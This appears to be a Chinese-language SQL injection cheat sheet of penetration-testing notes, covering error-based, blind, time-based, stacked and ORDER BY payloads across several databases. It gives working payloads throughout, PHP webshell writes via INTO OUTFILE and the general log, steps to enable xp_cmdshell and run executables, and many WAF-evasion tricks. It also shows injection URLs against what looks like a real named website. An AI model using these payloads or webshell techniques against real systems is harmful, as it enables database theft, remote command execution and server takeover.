博客

https://www.jianshu.com/p/bc35f8dd4f7c

https://www.jianshu.com/p/fcae21926e5c

报错注入语句

GTID_SUBSET
字符串
    字符型:1) and GTID_SUBSET(concat(char(126),(database())),5201)-- test
    数字型:1 and GTID_SUBSET(concat(char(126),(database())),5201)-- test

布尔盲注语句

mysql布尔:
    数字型(最基础): 1 and 1=1            但是大概率and &&等符号会被waf拦截,那么可以采用如下payload
    1-if(1=1,exp(710),1)    或者  1-if(1=2.1,exp(709)),如果存在注入,exp(710),mysql会报错导致服务器报错,而exp(709)会正常

    举个栗子,如下图 code=-6763-if(1=1,exp(710),1)

如下图 code=-6763-if(1=1,exp(709),1)

紧接着我们判断存在注入之后就要查数据,
http://www.csshangmao.com/ygfw/?code=-6763 OR 3854=3854

http://www.csshangmao.com/ygfw/?code=-6763-if(1=1,1,exp(710))

延时注入语句


#mssql延时(堆叠):    
    123'; waitfor delay '0:0:6' --+
    waitfor delay '0:0:6' --+

堆叠注入(有回显)

无回显的堆叠注入就按照延时注入的方式判断即可
有回显

mssql:
    1';select 1/@@version-- test         和正常的注入一样了    1/db_name(),1-Uesr,1/user

排序注入

在SQL语句中有asc和desc的出现,他们的作用是对某个标签按照从小到大或者从大到小排序,如果我们请求包中发现了asc和desc,我们可以尝试在后面增加内容判断SQL注入
在mysql当中,如果select 1/0,虽然会警告,但依旧会返回正常内容,但是在oracle中,1/0会报错,并不能返回,相当于一个变种的报错判断
例如&dir=asc,exp(709)
&dir=asc,1/decode(ascii(substr(user,1,1))=1,1,0);

image1579f70c25b87b51.pngimaged1f4df5313cc0d51.png

数据查询语句

mysql:
    '||if(substr(database(),1,1)='x',1,exp(710))||'
    ||if(substr(database(),1,1)='x',1,exp(710))||
    "||if(substr(database(),1,1)='x',1,exp(710))||"
    也就是user()的第1位如果是x那么正常,反之报错

数字型布尔盲注:
||ascii(if(substr(database(),1,1))=10,1,exp(710))||

SQL注入拿shell

通过SQL注入拿shell一般就是两种方式:

1.利用命令执行函数
利用命令执行函数(部分数据库有反弹shell函数,比如mysql中的backshell函数):
mysql:sys_exec,sys_eval        也是在利用mysql提权时利用到的函数
mssql:xp_cmdshell(利用sp_oacreate函数开启)
    实际操作就是利用堆叠注入执行sql命令,开启对应的udf开关和xp_cmdshell开关执行,这里mssql:
        sp_configure 'show advanced options',1
        reconfigure
        go
        sp_configure 'xp_cmdshell',1
        reconfigure
        go

#    执行以下路径的exe
exec   master..xp_cmdshell   'c:/aa.exe'
#    这里额外说一下,如果waf对利用sqlmap开启xp_cmdshell,以及命令执行存在waf,那么需要自己手工执行命令绕过,如下

/pen/news.php?id=1;exec(master..xp_cmdshell 'net user')    #对xp_cmdshell,master关键字拦截
/pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

whoami //正常执行
w"h"o"a"m"i //正常执行
w"h"o"a"m"i" //正常执行
wh""o^a^mi //正常执行
wh""o^am"i //正常执行
((((Wh^o^am""i))))//正常执行
具体看我RCE绕过这篇文章。。。

2.具备写文件的作用,写入webshell
~~~







###### Union select 写入

into outfile / into dumpfile写文件

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

```sql
?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'

?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"
```

###### 利用分隔符写入

注入点为盲注或报错,可以通过分隔符写入

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

```sql
?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --
```

```sql
?id=1 INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码)#

?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#

?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#

?id=1 INTO OUTFILE '物理路径' lines starting by    (一句话hex编码)#
```

###### 利用log写入

新版本的`MySQL`设置了导出文件的路径,很难在获取`Webshell`过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改`MySQL`的`log`文件来获取`Webshell`。

具体权限要求:数据库用户需具备`Super`和`File`服务器权限、获取物理路径。

```sql
show variables like '%general%';                        #查看配置
set global general_log = on;                            #开启general log模式
set global general_log_file = 'E:/study/WWW/evil.php';    #设置日志目录为shell地址
select '<?php eval($_GET[g]);?>'                     #写入shell
set global general_log=off;                             #关闭general log模式
```

###### 其他:load_file读文件

load_file()读文件

http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+

1.路径使用\\ ,否则会被当作转义符号
2.路径使用/
3.盘符根路径下可用c:admin.txt
4.16进制文件名
5.char(路径ascii)

#### waf绕过

###### 架构层绕WAF

1. 找到真实ip地址访问
2. 通过别的主机打入内网/网段,在内网/网段中访问

###### 资源限制角度绕WAF

使用POST请求,对服务器请求很大资源逃逸sql注入语句

###### 协议层面绕过WAF

(1)基于协议层,有的waf只过滤GET请求,而对POST请求没做别的限制,因此,可以将GET型换为POST型

(2)文件格式,页面仅对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf

(3)参数污染:有的waf仅对部分内容进行过滤

index.php?id=1&id=2


###### 规则层面绕过

某些数据库或者waf独有,比如asp的网站可用%%加在中间;mysql中的内联注释,注释;加密解密,大小写,等价函数替换,双写;

###### 关键字替换

比如在mysql中,waf将sleep()函数列入了黑名单,可以通过具备相同功能的benchmark()函数来实现绕过

< > 等价于 BETWEEN = 等价于 like Hex() bin() 等价于ascii() Sleep() 等价于 benchmark() Mid()substring() 等价于 substr() @@user 等价于 User() @@Version 等价于 version() (mysql支持&& || ,oracle不支持 && ||)




###### 2.特殊符号

原理:结合不同数据库的特性来实现绕过。(最好是可以找到waf开发者都不了解的某些特性),以下是两个广为流传的小特性

比如 "+" select+password+from+mysql.user 相当于是一个空格的作用

"'"放在mysql的末尾会起到注释符的作用




###### 3.编码

可以结合各种编码方式来绕过,比如url编码,url双重编码,十六进制编码,unicode编码,数据库编码等。

举个栗子:mysql默认的字符集是latin,因此在php代码里面设置的字符集为 utf-8,这只是客户端的字符集,因此存在字符集装换的问题utf-8—>latin,若传进来的字符集不是完整的字符,则会导致不完整的字符自动会忽略的问题,比如username=admin%c2 , 由于%c2不是一个完整的utf-8字符 因此传到Mysql 里面 自动忽略了,导致查出的是admin用户的数据,可以利用这个特性绕过

###### 4.注释符

/*xxx*/是注释,也可以充当空白符。因为 /**/可使得MySQL对sql语句(union/**/select)词法解析成功。事实上许多WAF都考虑到/**/可以作为空白分,但是waf检测 “/*.**/”很消耗性能,工程师会折中,可能在检测中间引入一些特殊字符,例如:/*w+*/。或者,WAF可能只中间检查n个字符“/*.{,n}*/”。根据以上想法,可以逐步测试绕过方法:

先测试最基本的:union/**/select再测试中间引入特殊字:union/*aaaa%01bbs*/select最后测试注释长度:

union/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/select


###### 5.空白符绕过

mysql中有一堆特殊的url编码在mysql命令行中是以空格方式表示:比如%0a,%a0,%0C。

基于正则表达式的WAF, SQL注入规则使用正则表达式的“s”匹配空格,例如”selects+union”。

利用空白符进行绕过,测试WAF时尽可能减少其他原因的影响,例如”union select”被拦截,只需把中间空白符替换为”%250C”, “%25A0”进行绕过测试

union%250Cselect

union%25A0select


函数分隔符对基于正则表达式的WAF,我们猜测安全工程师写WAF规则时,可能不知道函数名与左括号之间可以存在特殊字符,或者遗漏可以存在特殊字符。例如匹配函数”concat()”的规则写法,“concat(”或者”concats*(”,就没有考虑到一些特殊字符

concat%2520(

concat/**/(

concat%250c(

concat%25a0(


###### 6.浮点数词法解析

利用MySQL解析浮点数的特点,正则表达式无法匹配出单词union,但是MySQL词法解析成功解析出浮点数、sql关键字union

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0

select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0


###### 7.报错注入

Error-based的SQL注入函数非常容易被忽略,导致WAF规则过滤不完整。常见的函数

extractvalue(1, concat(0x5c,md5(3)));

updatexml(1, concat(0x5d,md5(3)),1);

GeometryCollection((selectfrom(selectfrom(select@@version)f)x))

polygon((select*from(select name_const(version(),1))x))

linestring()

multipoint()

multilinestring()

multipolygon()


### 数据库种类

##### Access注入

只有一个数据库,里面存放很多表

[![bT1L9S.png](https://s1.ax1x.com/2022/03/12/bT1L9S.png)](https://imgtu.com/i/bT1L9S)

##### MSSQL注入

这里只要测试下面语句成功执行,那么放进sqlmap跑就行了

~~~sql
查询版本
1' and @@version>0--       

查询权限
1' and user>0--
Mysql注入5.0以下

同access注入

少见的注入点

搜索框注入

1' and '1%'='1//返回正确的搜索结果
1' and '1%'='2//没有返回搜索结果

bT3eBR.png

1' and '1%'='1//返回正确的搜索结果

bT3uAx.png

1' and '1%'='2//没有返回搜索结果

bT3KN6.png

其他点注入

Client-IP User-Agent

bT3M4K.png

bT3d4f.png

bT3UEt.png

如果上传不成功,有三种原因
第一是mysql高版本的安全模式,secure_file_priv的值为null。 
第二种是secure_file_priv指定了某个目录才可以上传,根目录不允许上传,那么可以尝试往upload目录上传
第三种是secure_file_priv的值为空或者指定了某个目录,但是上传后的文件为空,没有内容写进去。那么可能是limit的前面语句为False,导致limit后面的语句没有执行。加上 or 1=1即可

    第一种情况:进入--sql-shell
    show global variables like '%secure%';
    当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出,那就无法写入马

    第二种情况:
    往upload等其他目录上传,不要往根目录上传

    第三种情况:
    如果secure_file_priv的值为空也写不进去,那就尝试手动写入,使用--proxy "http://127.0.0.1:8080",burp抓到包后,手动写入。limit语句前面加上or '1'='1'
%5c,%bf', 单引号,双引号,反斜杠,负数,特殊字符,and,or,xor探测是否存在注入!!!

注意:(-- )一定要在注释符号后加空格,或者URL编码后的空格(%20),否则注释符号不会产生作用。
            注释符# --+交替用,一个不行,就另一个
1、先判断是数字型还是字符型,如果判断不出来跳到9
2、接着判断有没有括号
3、最后面跟上--+注释符
4、order by判断字段数,如果没法判断,则直接union select 1,2,3一个个测试过去
5、如果返回的页面发生变化,则联合查询
6、如果union select 1,version(),3返回的页面没有发生变化,即联合查询失败,则尝试报错注入
7、如果报错注入页面也没有把信息显示出来,则延时注入
8、如果延时注入也不行,则导入导出
9、尝试延时注入,如果从1过来的,则三种情况,直接跟payload,参数后面加单引号或者双引号

Payload

# 布尔


# 延时, 如果过了5秒才显示页面,则存在注入
mysql:        BENCHMARK(100000,MD5(1))  or sleep(5)
              id=1' and sleep( if( (select length(database()) >0) , 5, 0 ) )%23
              id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+    如果数据库的第一位不是s则延迟5秒才反应
              id=1' or sleep(ord(substr(password,1,1))) --
              id=1'XOR(sleep(if((select length(database()) >6),0,5)))XOR'Z
              id=1'and (SELECT 1 FROM (SELECT(SLEEP(5)))Gbqj) --+
              id=1'/**/AND/**/(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))ibEg)/**/AND/**/'        这个语句绝对ok
              Referer:1'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
              ua:'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
              x-forw:'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z

mssql:        id=1' WAITFOR DELAY '0:0:5'--+                                  这个语句绝对ok
              id=1';WAITFOR DELAY '0:0:5'--+                                   这个语句绝对ok
              id=1');WAITFOR DELAY '0:0:5'--+                                  这个语句绝对ok

              id=1" WAITFOR DELAY '0:0:5'--+                                  这个语句绝对ok
              id=1";WAITFOR DELAY '0:0:5'--+                                   这个语句绝对ok
              id=1");WAITFOR DELAY '0:0:5'--+                                  这个语句绝对ok

              id=1' or 51 = '49'; WAITFOR DELAY '0:0:5'--+                     这个语句绝对ok
              id=1' AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A' --+ 
              id=1' if 1=1 waitfor delay '0:0:5' else waitfor delay '0:0:0'--+ 
                ',0)if 9527=9528-2 waitfor delay'0:0:5'--+ 
                if (system_user!='sa') waitfor delay '0:0:5' --+        这个语句绝对ok
                WHILE 2>1 PRINT 1----

                /***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/10,/***/0/***/)/***/)%23
/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+
/***/WAITFOR/***/DELAY/***/'0:0:10'--+
;WAITFOR/***/DELAY/***/'0:0:10'--+
);WAITFOR/***/DELAY/***/'0:0:10'--+

'/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/10,/***/0/***/)/***/)%23
'/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+
'/***/WAITFOR/***/DELAY/***/'0:0:10'--+
';WAITFOR/***/DELAY/***/'0:0:10'--+
');WAITFOR/***/DELAY/***/'0:0:10'--+

"/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/10,/***/0/***/)/***/)%23
"/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+
"/***/WAITFOR/***/DELAY/***/'0:0:10'--+
";WAITFOR/***/DELAY/***/'0:0:10'--+
");WAITFOR/***/DELAY/***/'0:0:10'--+



Postgresql        PG_SLEEP(5)   OR GENERATE_SERIES(1,10000)




# 报错注入,爆数据库版本
以下payload都是数字型,如果是字符型,就在1后面添加单引号或者双引号

id=1+and (select 1 from(select count(*),concat(0x5e5e5e,version(),0x5e5e5e,floor(rand(0)*2))x from information_schema.character_sets group by x)a)--+
id=1 and (select 1 from (select count(*),concat(0x5e,version(),0x5e,floor(rand(0)*2))b from information_schema.tables group by b)a)
id=1 union select count(*),1,concat(0x5e5e5e,version(),0x5e5e5e,floor(rand(0)*2))x from information_schema.tables group by x --+                                使用联合的时候,要注意select的字段数量,该语句是3个,count,1,concat

id=1+and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
id=1+and (extractvalue(1,concat(0x7e,(select user()),0x7e)))--+
id=1+and geometrycollection((select * from(select * from(select user())a)b))--+
id=1+and multipoint((select * from(select * from(select user())a)b))--+
id=1+and polygon((select * from(select * from(select user())a)b))--+
id=1+and multipolygon((select * from(select * from(select user())a)b))--+
id=1+and linestring((select * from(select * from(select user())a)b))--+
id=1+and multilinestring((select * from(select * from(select user())a)b))--+
id=1+and exp(~(select * from(select user())a))--+
PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--+
MSSQL: /?param=1 and(1)=convert(int,@@version)--+
Sybase: /?param=1 and(1)=convert(int,@@version)--+
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select --+
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--+


Oracle报错注入
' AND 1932=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(122)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (1932=1932) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(118)||CHR(120)||CHR(113)||CHR(62))) FROM DUAL) AND 'mgBW'='mgBW
如果sqlmap跑不出,则加参数--level 5 --risk 3

risk
共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

results matching ""

    No results matching ""